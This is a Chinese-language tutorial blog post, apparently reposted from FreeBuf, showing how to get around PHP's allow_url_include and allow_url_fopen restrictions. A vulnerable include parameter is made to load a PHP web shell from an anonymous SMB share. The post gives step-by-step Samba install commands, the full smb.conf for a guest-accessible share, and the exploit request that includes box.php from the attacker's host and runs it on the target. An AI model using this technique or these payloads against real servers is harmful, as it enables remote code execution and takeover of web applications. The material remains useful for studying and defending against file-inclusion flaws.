在這篇博文中,我將為大家演示如何利用php應用中的遠程文件包含漏洞的技術。我們將繞過php遠程文件包含的限制,并執行rfi的利用,即使php環境被配置為不包含來自遠程http/ftp url的文件。
php 和 smb 共享文件訪問
在php配置文件中,“allow_url_include”wrapper默認設置為“off”,指示php不加載遠程http或ftp url,從而防止遠程文件包含攻擊。但是,即使“allow_url_include”和“allow_url_fopen”都設置為“off”,php也不會阻止加載smb url。而這就極有可能被濫用來從smb共享加載遠程托管的php web shell。
攻擊場景概述
當易受攻擊的php應用程序代碼嘗試從受攻擊者控制的smb共享加載php web shell時,smb共享應允許訪問該文件。攻擊者需要在其上配置具有匿名瀏覽訪問權限的smb服務器。因此,一旦易受攻擊的應用程序嘗試從smb共享訪問php web shell,smb服務器將不會要求任何的憑據,易受攻擊的應用程序將包含web shell的php代碼。
首先,我重新配置了php環境,并在php.in i文件中禁用了“allow-url-fopen”和“allow-url-include”。之后,配置了具有匿名瀏覽訪問的smb服務器。一旦smb共享準備就緒,我們就可以利用易受攻擊的應用程序了。
php 環境設置
將托管易受攻擊代碼的機器上的“allow_url_fopen”和“allow_url_include”設置為“off”
以下是版本為“5.5.11”的php當前配置截圖:
在繼續下一步之前,讓我們確保當我們嘗試訪問http上托管的web shell時,php代碼不允許遠程文件包含。
可以看到,當我試圖從遠程主機包含php web shell時,應用程序拋出錯誤并且沒有包含遠程文件。
使用匿名瀏覽訪問配置 samba 服務器(linux 機器)
使用以下命令安裝samba服務器:
apt-get install samba創建smb共享目錄:
mkdir /var/www/html/pub/
配置新創建的smb共享目錄的權限:
1
2
|
chmod 0555 / var /www/html/pub/ chown -r nobody:nogroup / var /www/html/pub/ |
運行以下命令,刪除samba服務器配置文件的默認內容。
echo > /etc/samba/smb.conf將以下內容添加到/etc/samba/smb.conf文件。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
|
[ global ] workgroup = workgroup server string = samba server %v netbios name = indishell-lab security = user map to guest = bad user name resolve order = bcast host dns proxy = no bind interfaces only = yes [ica] path = / var /www/html/pub writable = no guest ok = yes guest only = yes read only = yes directory mode = 0555 |
force user = nobody
現在,重啟samba服務器以使配置文件/etc/samba/smb.conf中的新配置生效。
service smbd restart成功重啟samba服務器后,嘗試訪問smb共享并確保samba服務器不要求提供憑據。
在本例中,samba服務器ip為192.168.0.3,我需要訪問windows文件瀏覽器中的smb共享,如下:\\192.168.0.3\
在 smb 共享中托管 php web shell
太棒了!可以訪問smb共享,并顯示目錄“ica”存在。
現在,將php shell托管在目錄“/var/www/html/pub”中,該目錄為smb共享目錄“ica”。
成功托管php shell后,我們使用windows文件瀏覽器訪問smb共享目錄“ica”。
\\192.168.0.3\ica\可以看到php shell存在于smb共享目錄中,在本例中為box.php文件。
利用文件包含易受攻擊的參數
讓我們使用這個php shell smb鏈接,以及易受攻擊的php代碼瀏覽它。
http://vulnerable_application/page.php?page=\\192.168.0.3\ica\box.phpphp易受攻擊的代碼從smb共享中獲取了web shell,并在應用程序服務器上執行了代碼\m/。我們已經繞過了php遠程文件包含的限制,并包含了托管在遠程主機上的web shell。
總結
以上所述是小編給大家介紹的使用smb共享來繞過php遠程文件包含的限制執行rfi的利用,希望對大家有所幫助,如果大家有任何疑問請給我留言,小編會及時回復大家的。在此也非常感謝大家對服務器之家網站的支持!
原文鏈接:https://www.freebuf.com/articles/web/203577.html